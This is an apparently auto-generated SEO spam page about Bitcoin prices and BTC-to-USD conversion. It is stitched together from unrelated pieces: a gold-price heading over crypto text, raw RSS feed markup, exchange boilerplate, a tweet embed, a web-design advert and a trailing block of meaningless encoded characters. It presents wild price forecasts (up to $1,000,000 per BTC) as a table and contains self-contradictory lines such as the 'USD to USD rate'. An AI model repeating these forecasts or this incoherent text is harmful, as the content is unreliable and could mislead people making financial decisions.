<h2>World Gold Prices</h2>
<p>Bitcoin’s novelty as an asset class means that its story is still being crafted. Its price has mostly mimicked the classic Gartner Hype Cycle of peaks due to hype about its potential and troughs of disillusionment that resulted in crashes. In the cycle’s structure, speculative bubbles are necessary to provide funding and drive a new technology’s evolution. And so, each swell and ebb in Bitcoin&#8217;s price has shone a spotlight on the shortcomings of its ecosystem and provided a fresh infusion of investor funds to develop its infrastructure. These checks further amplified concerns over inflation and a potentially weakened purchasing power of the U.S. dollar. Money printing by governments and central banks helped to bolster the narrative of Bitcoin as a store of value as its supply is capped at 21 million. This narrative began to draw interest among institutions instead of just retail investors, who were largely responsible for the run up in price in 2017.</p>
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<h2>What will Bitcoins be worth in 2025?</h2>
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<p>And with Bitcoin price expected to reach $100,000 to as much as $1 million per BTC, it&#8217;s never too late to get started trading Bitcoin.<br />Conclusion: BTC Price Forecast and Long-Term Price Predictions.YearHighLow2022$275,000$42,0002023$145,000$63,0002024-2025+$1,000,000$275,0001 more row•Feb 1, 2021</p>
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<p>Longfin Corp. was a fintech that enables global trade finance solutions for a variety of companies by utilizing blockchain technology and cryptocurrencies. &#8222;Cryptocurrency stocks are outperforming the underlying assets because of the infrastructure that allows people to invest in public stock, such as 401s and ISAs,&#8220; says McDonaugh. &#8222;If you can tax-wrapper something as explosive as crypto, that makes a lot of sense in a lot of investor&#8217;s eyes.&#8220; I write about how bitcoin, crypto and blockchain can change the world. Most investors would be better served studying the stock market, and compiling a watchlist of profitable companies setting up in proper bases, when looking for stocks to buy. GBTC stock posted gains far in excess of the S&#038;P 500&#8217;s in 2020. However, it is now clear of its most recent actionable entry point, at the 10-week line.<br />
If you are new to crypto, use CoinMarketCap’s own easy guide to buying Bitcoin. While specialized services may offer a tailor-made solution to the crypto inheritance problem, they are generally in their early stages of development and also charge a fee. According to Logino, each backup share by Safe Haven costs about $20 to $40 in the firm’s native token, SHA. A standard edition solution also charges <a href="https://www.youtube.com/results?search_query=btc stock price">btc stock price</a> a $5 monthly subscription. This crypto inheritance practice is straightforward but may not be suitable for everyone in the crypto community. This way of bequeathing Bitcoin could be also considered risky, as shared keys come with the responsibility of keeping those assets secure. If you choose this method, be sure that your heirs are aware of the plan and somebest practices for crypto security.</p>
<p>Sharing keys with trusted family members is probably one of the most straightforward methods to passing on your crypto. Some of the most prominent people in the crypto industry have publicly claimed to use this method to ensure their crypto fortune gets passed on. In fact, there are a number of ways for investors to bequeath their crypto to the next generation, but each method requires some decision-making and planning, as well as some general knowledge about how crypto works. As a distributed network, Bitcoin has no central authority to control user funds, so no one but the owners themselves can control  their assets. As explained in its white paper, Bitcoin is a purely peer-to-peer version of electronic cash, allowing online payments to be sent directly from one party to another without going through a financial institution. Scarce in the sense that eventually no new coins will be added to the Bitcoin economy. But they are plentiful in the sense that their divisibility means that adding new coins in the future is not necessary to ensure people have enough money to transact with. But they can only be divided so many times to my knowledge. If you have 1 bitcoin you own all divisions of that bitcoin.<br />
But cryptocurrency mining is a major operation often involving thousands of such processors linked together. That&#8217;s part of why Nvidia (NVDA, $534.42) enjoyed a surge along rocketing Bitcoin prices in 2017. As mining bitcoins became more lucrative, it created a rising demand for the company&#8217;s high-powered processors. But the direct investment in bitcoins, as well as Ahjua&#8217;s comments, suggest that Bitcoin and perhaps other cryptocurrencies <a href="https://zycrypto.com/beaxy-exchange-working-with-hummingbot-io-automated-trader/">hummingbot auto trading</a> might play an even large role for Square, and its balance sheet, in the future. Square (SQ, $219.99), another payments company that&#8217;s known for its card-reading hardware used by small businesses, also made an announcement regarding Bitcoin during the third quarter of 2020. Namely, it bought 4,709 bitcoins in early October for $50 million – an investment in the cryptocurrency that represented 1% of total assets as of the end of Q2 2020.</p>
<p>In March, the bitcoin transaction log, called the blockchain, temporarily split into two independent chains with differing rules on how transactions were accepted. For six hours two bitcoin networks operated at the same time, each with its own version of the transaction history. The core developers called for a temporary halt to transactions, sparking a sharp sell-off. Normal operation was restored when the majority of the network downgraded to version 0.7 of the bitcoin software. The Mt. Gox exchange briefly halted bitcoin deposits and the exchange rate briefly dipped by 23% to $37 as the event occurred before recovering to previous level of approximately $48 in the following hours. Bitcoin is a cryptocurrency, a digital asset designed to work as a medium of exchange that uses cryptography to control its creation and management, rather than relying on central authorities. It was invented and implemented by the presumed pseudonymous Satoshi Nakamoto, who integrated many existing ideas from the cypherpunk community.</p>
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		<title>Convert Bitcoins Btc And United States Dollars Usd</title>
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		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Tue, 30 Nov 2021 09:39:18 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1106</guid>

					<description><![CDATA[At that time, the block reward given to miners was reduced from 12.5 BTC per block to 6.25 BTC per block. Bitcoin is the first and most popular cryptocurrency originally proposed in 2008 and subsequently created in 2009 by the pseudonymous Satoshi Nakamoto. A native asset of the Bitcoin blockchain, it is the world’s first [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>At that time, the block reward given to miners was reduced from 12.5 BTC per block to 6.25 BTC per block. Bitcoin is the first and most popular cryptocurrency originally proposed in 2008 and subsequently created in 2009 by the pseudonymous Satoshi Nakamoto. A native asset of the Bitcoin blockchain, it is the world’s first currency that is inherently free from the control of central banks. By design, the underlying network is censorship-resistant, permissionless and peer-to-peer with a scarce and programmable native currency . Bitcoin remains the global cryptocurrency market leader by price and total market value.</p>
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<h2>Is it easy to convert Bitcoin to cash?</h2>
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<p>There are several ways to convert bitcoin to cash and ultimately move it to a bank account: Sell bitcoin on a cryptocurrency exchange, such as Coinbase or Kraken. This is the easiest method if you want to sell bitcoin and withdraw the resulting cash directly to a bank account.</p>
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<p>The most common way of converting BTC to USD is by using a Crypto Exchange or a P2P (person-to-person) exchange platform like LocalBitcoins, etc. Currencies have existed for several millennia; they arose primarily as a replacement for the ineffective barter trade. The functions that a currency took on were essential to the development of an efficient economy with division of labor. In the beginning, different items were used as currency, including metals, pearls, shells or agricultural products. Minting of coins from precious metals was developed about 2500 years ago in ancient Greece; paper money has existed for about 1000 years. Other topics included private fundraising options, market making in crypto, and Goldman offering traditional banking services to FTX, the FT reported. Mobile App Buy, sell, earn and exchange crypto anywhere and anytime. Margin Trading Trade digital assets with leverage on CEX.IO Broker.</p>
<h2>Xbt To Usd Chart</h2>
<p>Laws and regulations for foreign exchange should be amended if needed to cover crypto alongside traditional assets, the global stability watchdog said. Create a chart for any currency pair in the world to see their currency history. These currency charts use live mid-market rates, are easy to use, and are very reliable. Our currency rankings show that the most popular US Dollar exchange rate is the USD to USD rate. Over the years, we&#8217;ve gained a reputation for continually monitoring thousands of markets. News websites and exchanges don&#8217;t always have the latest conversions, but our easy-to-use tool is automatically updated on a regular basis. The price of the asset, amount, and time stamp will be displayed.</p>
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<li>A red transaction indicates that an ask order was completed, while a green transaction indicates that a bid order was completed.</li>
<li>Today, almost every country has its own currency, with the exception of countries with a common currency or countries that have adopted a foreign currency .</li>
<li>Cryptocurrency adoption in the U.S. continues to rise — and in 2019, the number of people who owned digital assets doubled.</li>
<li>If blocks are being mined to quickly, the hashing equation becomes more difficult to solve.</li>
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<p>Sign up for an account in minutes to buy crypto using credit card or bank transfer. Academy Learn more about the world of cryptocurrency and how to use 3Commas to your benefit. Instant Buy Buy crypto with your credit or debit card in a few clicks. The Xe Rate Alerts will let you know when the rate you need is triggered on your selected currency pairs.<br />
Simply input the amount of bitcoin you want to convert, select your currency, and get the result! Cryptocurrency Pairs Pick the cryptocurrency pair you wish to trade on. If you are using USD or other FIAT currency to trade you can onboard your money into a new asset through a bid order. If you already have the asset you wish to trade you can either place a bid order for more of that asset, or an ask order to sell some of that asset. Thus, picking your crypto trading pair is the first step to trading. The price of Bitcoin in other fiat and cryptocurrencies is based on the corresponding exchange rate of those currencies to the US Dollar. By using this cryptocurrency converter, you can convert BTC to USD. It will show you how much 1 Bitcoin is worth in US Dollar currently.<br />
Conversion rates are based on CoinDesk’s Bitcoin Price Index and the price indices of other digital assets. World currency prices are based on rates obtained via Open Exchange Rates. Once you select the base and target currencies from the list and enter the desired amount into the provided field, the currency calculator immediately gives you the result. Additionally, you can also choose whether to calculate the result based on the current exchange rate or the exchange rate on a certain date. This way, the Markets Insider currency calculator allows you to search for historical exchange rates. The result provided by the currency calculator is displayed in a clearly arranged table. Here, the currency calculator shows the opening and closing rate as well as the lowest and highest rates for the respective date. CoinYEP Foreign exchange converter and cryptocurrency converter.<br />
If I wish to have my order executed immediately I can place a ‘market’ order, which will buy or sell at the best market price. If I wish to set a desired price to buy or sell I can place what is called a ‘limit’ order. Suggestions, and signals for a variety of other cryptocurrencies. If you are new to crypto, use the Crypto.com University and our Help Center to learn how to start buying Bitcoin, Ethereum and other cryptocurrencies. Enter the amount to be converted in the box to the left of Bitcoin. Use &#8222;Swap currencies&#8220; to make United States Dollar the default currency. Click on United States Dollars or Bitcoins to convert between that currency and all other currencies.<br />
Check live rates, send money securely, set rate alerts, receive notifications and more. Cryptocurrencies have gained a reputation for being complicated, but the industry has made great progress in demystifying digital assets once and for all. There&#8217;s a constant buzz about how Bitcoin is performing against the U.S. dollar. Traders anxiously watch the pair&#8217;s every move — and fluctuations regularly hit the headlines. CoinMarketCap is the place people go to to find accurate BTC/USD rates, and we&#8217;re here 24/7. Can be confused with the binary unit “bit” in computing, or the old-fashioned US currency unit of “bit”, which is 12.5 cents. Here’s a list of the different Bitcoin units you may encounter. You can click the Satoshi value below to use it in the calculator above instantly. Beaxy allows you to trade bitcoin with convenience and peace of mind. Our user interface is customizable and can be optimized for beginners and experts alike.</p>
<h2>About Btc</h2>
<p>Live tracking and notifications + flexible delivery and payment options. The Beaxy Exchange (beaxy.com) is operated by Windy Inc in the United States and around the world. You hereby agree that we are not providing our own opinions, advice, or recommendations. CEX Overseas LTD provides technical support for Users from the list countries prescribed by CEX.IO’s Terms of Use. CEX.IO LTD serves residents throughout countries all over the world in which it operates. CEX IO EU Limited provides its card processing services only to customers from the European Economic Area . If you are at an office or shared network, you can ask the network administrator to run a scan across the network looking for misconfigured or infected devices. If you’re on a shared network, like the one at your workplace, ask your network administrator to run a scan across the network to weed out any infections.</p>
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<blockquote class="twitter-tweet">
<p lang="en" dir="ltr"><a href="https://twitter.com/hashtag/LunarOpinions?src=hash&amp;ref_src=twsrc%5Etfw">#LunarOpinions</a> Would you recommend trading on Beaxy?</p>
<p>90.6% Yes<br />4.274% No<br />5.128% No opinion</p>
<p>Data represents opinions given on LunarCrush over the last 24 hours.<a href="https://t.co/vOlKvVnhjW">https://t.co/vOlKvVnhjW</a></p>
<p>&mdash; johansyah coga (@johan_syah) <a href="https://twitter.com/johan_syah/status/1498493682672013315?ref_src=twsrc%5Etfw">March 1, 2022</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></div>
<p>Comparing prices across exchanges helps guarantee you&#8217;ll get the best deal, as some platforms offer a better deal than others. The ultimate tools for crypto traders to maximize trading profits while minimizing risk and loss. Simply enter the amount of Bitcoin you wish to convert to USD and the conversion amount automatically populates. You can also use our Prices Calculator Table to calculate how much your currency is worth in other denominations, i.e. .1 BTC, .5 BTC, 1 BTC, 5 BTC, or even 10 BTC. Despite the yuan suffering its biggest weekly drop against the dollar since 2015, a Chinese foreign exchange official said the currency is stable.</p>
<p>Convert any cryptocurrency or token price into your preferred fiat currency, such as BTC to USD. The Recent Trades section is displayed beneath the order book on the right side of the Trading Page. It lists all recently completed trades on the current trading pair in chronological order. Order books contain orders to buy or sell an asset that are determined by exchange users. Orders are matched by the exchange matching engine to produce completed traders. Smartwebsolutions is website design and Digital marketing company IN DUBAI AND KERALA. We offer complete web-business solutions for all type of businesses of all sizes.<br />
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